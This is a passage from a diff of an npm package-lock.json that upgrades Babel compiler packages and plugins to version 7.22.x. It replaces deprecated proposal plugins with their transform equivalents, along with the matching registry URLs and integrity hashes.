+ "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.22.15.tgz", + "integrity": "sha512-7pAjK0aSdxOwR+CcYAqgWOGy5dcfvzsTIfFTb2odQqW47MDfv14UaJDY6eng8ylM2EaeKXdxaSWESbkmaQHTmw==", "dev": true, "dependencies": { - "@babel/template": "^7.20.7", - "@babel/traverse": "^7.21.0", - "@babel/types": "^7.21.0" + "@babel/template": "^7.22.15", + "@babel/traverse": "^7.22.15", + "@babel/types": "^7.22.15" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/highlight": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", - "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", + "version": "7.22.20", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.20.tgz", + "integrity": "sha512-dkdMCN3py0+ksCgYmGG8jKeGA/8Tk+gJwSYYlFGxG5lmhfKNoAy004YpLxpS1W2J8m/EK2Ew+yOs9pVRwO89mg==", "dependencies": { - "@babel/helper-validator-identifier": "^7.18.6", - "chalk": "^2.0.0", + "@babel/helper-validator-identifier": "^7.22.20", + "chalk": "^2.4.2", "js-tokens": "^4.0.0" }, "engines": { @@ -634,9 +626,9 @@ } }, "node_modules/@babel/parser": { - "version": "7.21.2", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.21.2.tgz", - "integrity": "sha512-URpaIJQwEkEC2T9Kn+Ai6Xe/02iNaVCuT/PtoRz3GPVJVDpPd7mLo+VddTbhCRU9TXqW5mSrQfXZyi8kDKOVpQ==", + "version": "7.22.16", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.22.16.tgz", + "integrity": "sha512-+gPfKv8UWeKKeJTUxe59+OobVcrYHETCsORl61EmSkmgymguYk/X5bp7GuUIXaFsc6y++v8ZxPsLSSuujqDphA==", "dev": true, "bin": { "parser": "bin/babel-parser.js" @@ -646,12 +638,12 @@ } }, "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.18.6.tgz", - "integrity": "sha512-Dgxsyg54Fx1d4Nge8UnvTrED63vrwOdPmyvPzlNN/boaliRP54pm3pGzZD1SJUwrBA+Cs/xdG8kXX6Mn/RfISQ==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.22.15.tgz", + "integrity": "sha512-FB9iYlz7rURmRJyXRKEnalYPPdn87H5no108cyuQQyMwlpJ2SJtpIUBI27kdTin956pz+LPypkPVPUTlxOmrsg==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -661,14 +653,14 @@ } }, "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { - "version": "7.20.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.20.7.tgz", - "integrity": "sha512-sbr9+wNE5aXMBBFBICk01tt7sBf2Oc9ikRFEcem/ZORup9IMUdNhW7/wVLEbbtlWOsEubJet46mHAL2C8+2jKQ==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.22.15.tgz", + "integrity": "sha512-Hyph9LseGvAeeXzikV88bczhsrLrIZqDPxO+sSmAunMPaGrBGhfMWzCPYTtiW9t+HzSE2wtV8e5cc5P6r1xMDQ==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0", - "@babel/plugin-proposal-optional-chaining": "^7.20.7" + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-transform-optional-chaining": "^7.22.15" }, "engines": { "node": ">=6.9.0" @@ -677,209 +669,11 @@ "@babel/core": "^7.13.0" } }, - "node_modules/@babel/plugin-proposal-async-generator-functions": { - "version": "7.20.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.20.7.tgz", - "integrity": "sha512-xMbiLsn/8RK7Wq7VeVytytS2L6qE69bXPB10YCmMdDZbKF4okCqY74pI/jJQ/8U0b/F6NrT2+14b8/P9/3AMGA==", - "dev": true, - "dependencies": { - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/helper-remap-async-to-generator": "^7.18.9", - "@babel/plugin-syntax-async-generators": "^7.8.4" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, "node_modules/@babel/plugin-proposal-class-properties": { "version": "7.18.6", "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", - "dev": true, - "dependencies": { - "@babel/helper-create-class-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-class-static-block": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.21.0.tgz", - "integrity": "sha512-XP5G9MWNUskFuP30IfFSEFB0Z6HzLIUcjYM4bYOPHXl7eiJ9HFv8tWj6TXTN5QODiEhDZAeI4hLok2iHFFV4hw==", - "dev": true, - "dependencies": { - "@babel/helper-create-class-features-plugin": "^7.21.0", - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/plugin-syntax-class-static-block": "^7.14.5" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.12.0" - } - }, - "node_modules/@babel/plugin-proposal-dynamic-import": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.18.6.tgz", - "integrity": "sha512-1auuwmK+Rz13SJj36R+jqFPMJWyKEDd7lLSdOj4oJK0UTgGueSAtkrCvz9ewmgyU/P941Rv2fQwZJN8s6QruXw==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-dynamic-import": "^7.8.3" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-export-namespace-from": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.18.9.tgz", - "integrity": "sha512-k1NtHyOMvlDDFeb9G5PhUXuGj8m/wiwojgQVEhJ/fsVsMCpLyOP4h0uGEjYJKrRI+EVPlb5Jk+Gt9P97lOGwtA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/plugin-syntax-export-namespace-from": "^7.8.3" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-json-strings": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.18.6.tgz", - "integrity": "sha512-lr1peyn9kOdbYc0xr0OdHTZ5FMqS6Di+H0Fz2I/JwMzGmzJETNeOFq2pBySw6X/KFL5EWDjlJuMsUGRFb8fQgQ==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-json-strings": "^7.8.3" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-logical-assignment-operators": { - "version": "7.20.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.20.7.tgz", - "integrity": "sha512-y7C7cZgpMIjWlKE5T7eJwp+tnRYM89HmRvWM5EQuB5BoHEONjmQ8lSNmBUwOyy/GFRsohJED51YBF79hE1djug==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz", - "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-numeric-separator": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz", - "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-numeric-separator": "^7.10.4" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-object-rest-spread": { - "version": "7.20.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.20.7.tgz", - "integrity": "sha512-d2S98yCiLxDVmBmE8UjGcfPvNEUbA1U5q5WxaWFUGRzJSVAZqm5W6MbPct0jxnegUZ0niLeNX+IOzEs7wYg9Dg==", - "dev": true, - "dependencies": { - "@babel/compat-data": "^7.20.5", - "@babel/helper-compilation-targets": "^7.20.7", - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/plugin-syntax-object-rest-spread": "^7.8.3", - "@babel/plugin-transform-parameters": "^7.20.7" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-optional-catch-binding": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.18.6.tgz", - "integrity": "sha512-Q40HEhs9DJQyaZfUjjn6vE8Cv4GmMHCYuMGIWUnlxH6400VGxOuwWsPt4FxXxJkC/5eOzgn0z21M9gMT4MOhbw==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-optional-chaining": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz", - "integrity": "sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0", - "@babel/plugin-syntax-optional-chaining": "^7.8.3" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-private-methods": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz", - "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-properties instead.", "dev": true, "dependencies": { "@babel/helper-create-class-features-plugin": "^7.18.6", @@ -893,16 +687,10 @@ } }, "node_modules/@babel/plugin-proposal-private-property-in-object": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0.tgz", - "integrity": "sha512-ha4zfehbJjc5MmXBlHec1igel5TJXXLDDRbuJ4+XT2TJcyD9/V1919BA8gMvsdHcNMBy4WBUBiRb3nw/EQUtBw==", + "version": "7.21.0-placeholder-for-preset-env.2", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz", + "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==", "dev": true, - "dependencies": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "@babel/helper-create-class-features-plugin": "^7.21.0", - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/plugin-syntax-private-property-in-object": "^7.14.5" - }, "engines": { "node": ">=6.9.0" }, @@ -910,22 +698,6 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-proposal-unicode-property-regex": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz", - "integrity": "sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==", - "dev": true, - "dependencies": { - "@babel/helper-create-regexp-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" - }, - "engines": { - "node": ">=4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, "node_modules/@babel/plugin-syntax-async-generators": { "version": "7.8.4", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", @@ -990,12 +762,27 @@ } }, "node_modules/@babel/plugin-syntax-import-assertions": { - "version": "7.20.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.20.0.tgz", - "integrity": "sha512-IUh1vakzNoWalR8ch/areW7qFopR2AEw03JlG7BbrDqmQ4X3q9uuipQwSGrUn7oGiemKjtSLDhNtQHzMHr1JdQ==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.22.5.tgz", + "integrity": "sha512-rdV97N7KqsRzeNGoWUOK6yUsWarLjE5Su/Snk9IYPU9CwkWHs4t+rTGOvffTR8XGkJMTAdLfO0xVnXm8wugIJg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-attributes": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.22.5.tgz", + "integrity": "sha512-KwvoWDeNKPETmozyFE0P2rOLqh39EoQHNjqizrI5B8Vt0ZNS7M56s7dAiAqbYfiAYOuIzIh96z3iR2ktgu3tEg==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.19.0" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1004,6 +791,18 @@ "@babel/core": "^7.0.0-0" } }, + "node_modules/@babel/plugin-syntax-import-meta": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", + "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, "node_modules/@babel/plugin-syntax-json-strings": { "version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", @@ -1017,12 +816,12 @@ } }, "node_modules/@babel/plugin-syntax-jsx": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz", - "integrity": "sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.22.5.tgz", + "integrity": "sha512-gvyP4hZrgrs/wWMaocvxZ44Hw0b3W8Pe+cMxc8V1ULQ07oh8VNbIRaoD1LRZVTvD+0nieDKjfgKg89sD7rrKrg==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1133,30 +932,29 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-arrow-functions": { - "version": "7.20.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.20.7.tgz", - "integrity": "sha512-3poA5E7dzDomxj9WXWwuD6A5F3kc7VXwIJO+E+J8qtDtS+pXPAhrgEyh+9GBwBgPq1Z+bB+/JD60lp5jsN7JPQ==", + "node_modules/@babel/plugin-syntax-unicode-sets-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz", + "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.20.2" + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" }, "engines": { "node": ">=6.9.0" }, "peerDependencies": { - "@babel/core": "^7.0.0-0" + "@babel/core": "^7.0.0" } }, - "node_modules/@babel/plugin-transform-async-to-generator": { - "version": "7.20.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.20.7.tgz", - "integrity": "sha512-Uo5gwHPT9vgnSXQxqGtpdufUiWp96gk7yiP4Mp5bm1QMkEmLXBO7PAGYbKoJ6DhAwiNkcHFBol/x5zZZkL/t0Q==", + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.22.5.tgz", + "integrity": "sha512-26lTNXoVRdAnsaDXPpvCNUq+OVWEVC6bx7Vvz9rC53F2bagUWW4u4ii2+h8Fejfh7RYqPxn+libeFBBck9muEw==", "dev": true, "dependencies": { - "@babel/helper-module-imports": "^7.18.6", - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/helper-remap-async-to-generator": "^7.18.9" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1165,13 +963,48 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-block-scoped-functions": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.18.6.tgz", - "integrity": "sha512-ExUcOqpPWnliRcPqves5HJcJOvHvIIWfuS4sroBUenPuMdmW+SMHDakmtS7qOo13sVppmUijqeTv7qqGsvURpQ==", + "node_modules/@babel/plugin-transform-async-generator-functions": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.22.15.tgz", + "integrity": "sha512-jBm1Es25Y+tVoTi5rfd5t1KLmL8ogLKpXszboWOTTtGFGz2RKnQe2yn7HbZ+kb/B8N0FVSGQo874NSlOU1T4+w==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.9", + "@babel/plugin-syntax-async-generators": "^7.8.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.22.5.tgz", + "integrity": "sha512-b1A8D8ZzE/VhNDoV1MSJTnpKkCG5bJo+19R4o4oy03zM7ws8yEMK755j61Dc3EyvdysbqH5BOOTquJ7ZX9C6vQ==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.22.5.tgz", + "integrity": "sha512-tdXZ2UdknEKQWKJP1KMNmuF5Lx3MymtMN/pvA+p/VEkhK8jVcQ1fzSy8KM9qRYhAf2/lV33hoMPKI/xaI9sADA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1181,12 +1014,28 @@ } }, "node_modules/@babel/plugin-transform-block-scoping": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.21.0.tgz", - "integrity": "sha512-Mdrbunoh9SxwFZapeHVrwFmri16+oYotcZysSzhNIVDwIAb1UV+kvnxULSYq9J3/q5MDG+4X6w8QVgD1zhBXNQ==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.22.15.tgz", + "integrity": "sha512-G1czpdJBZCtngoK1sJgloLiOHUnkb/bLZwqVZD8kXmq0ZnVfTTWUcs9OWtp0mBtYJ+4LQY1fllqBkOIPhXmFmw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-properties": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.22.5.tgz", + "integrity": "sha512-nDkQ0NfkOhPTq8YCLiWNxp1+f9fCobEjCb0n8WdbNUBc4IB5V7P1QnX9IjpSoquKrXF5SKojHleVNs2vGeHCHQ==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.20.2" + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1195,20 +1044,37 @@ "@babel/core": "^7.0.0-0" } }, + "node_modules/@babel/plugin-transform-class-static-block": { + "version": "7.22.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.22.11.tgz", + "integrity": "sha512-GMM8gGmqI7guS/llMFk1bJDkKfn3v3C4KHK9Yg1ey5qcHcOlKb0QvcMrgzvxo+T03/4szNh5lghY+fEC98Kq9g==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.11", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-class-static-block": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.12.0" + } + }, "node_modules/@babel/plugin-transform-classes": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.21.0.tgz", - "integrity": "sha512-RZhbYTCEUAe6ntPehC4hlslPWosNHDox+vAs4On/mCLRLfoDVHf6hVEd7kuxr1RnHwJmxFfUM3cZiZRmPxJPXQ==", - "dev": true, - "dependencies": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "@babel/helper-compilation-targets": "^7.20.7", - "@babel/helper-environment-visitor": "^7.18.9", - "@babel/helper-function-name": "^7.21.0", - "@babel/helper-optimise-call-expression": "^7.18.6", - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/helper-replace-supers": "^7.20.7", - "@babel/helper-split-export-declaration": "^7.18.6", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.22.15.tgz", + "integrity": "sha512-VbbC3PGjBdE0wAWDdHM9G8Gm977pnYI0XpqMd6LrKISj8/DJXEsWqgRuTYaNE9Bv0JGhTZUzHDlMk18IpOuoqw==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.15", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.9", + "@babel/helper-split-export-declaration": "^7.22.6", "globals": "^11.1.0" }, "engines": { @@ -1219,13 +1085,13 @@ } }, "node_modules/@babel/plugin-transform-computed-properties": { - "version": "7.20.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.20.7.tgz", - "integrity": "sha512-Lz7MvBK6DTjElHAmfu6bfANzKcxpyNPeYBGEafyA6E5HtRpjpZwU+u7Qrgz/2OR0z+5TvKYbPdphfSaAcZBrYQ==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.22.5.tgz", + "integrity": "sha512-4GHWBgRf0krxPX+AaPtgBAlTgTeZmqDynokHOX7aqqAB4tHs3U2Y02zH6ETFdLZGcg9UQSD1WCmkVrE9ErHeOg==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/template": "^7.20.7" + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/template": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1235,12 +1101,12 @@ } }, "node_modules/@babel/plugin-transform-destructuring": { - "version": "7.20.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.20.7.tgz", - "integrity": "sha512-Xwg403sRrZb81IVB79ZPqNQME23yhugYVqgTxAhT99h485F4f+GMELFhhOsscDUB7HCswepKeCKLn/GZvUKoBA==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.22.15.tgz", + "integrity": "sha512-HzG8sFl1ZVGTme74Nw+X01XsUTqERVQ6/RLHo3XjGRzm7XD6QTtfS3NJotVgCGy8BzkDqRjRBD8dAyJn5TuvSQ==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.20.2" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1250,13 +1116,13 @@ } }, "node_modules/@babel/plugin-transform-dotall-regex": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.18.6.tgz", - "integrity": "sha512-6S3jpun1eEbAxq7TdjLotAsl4WpQI9DxfkycRcKrjhQYzU87qpXdknpBg/e+TdcMehqGnLFi7tnFUBR02Vq6wg==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.22.5.tgz", + "integrity": "sha512-5/Yk9QxCQCl+sOIB1WelKnVRxTJDSAIxtJLL2/pqL14ZVlbH0fUQUZa/T5/UnQtBNgghR7mfB8ERBKyKPCi7Vw==", "dev": true, "dependencies": { - "@babel/helper-create-regexp-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + 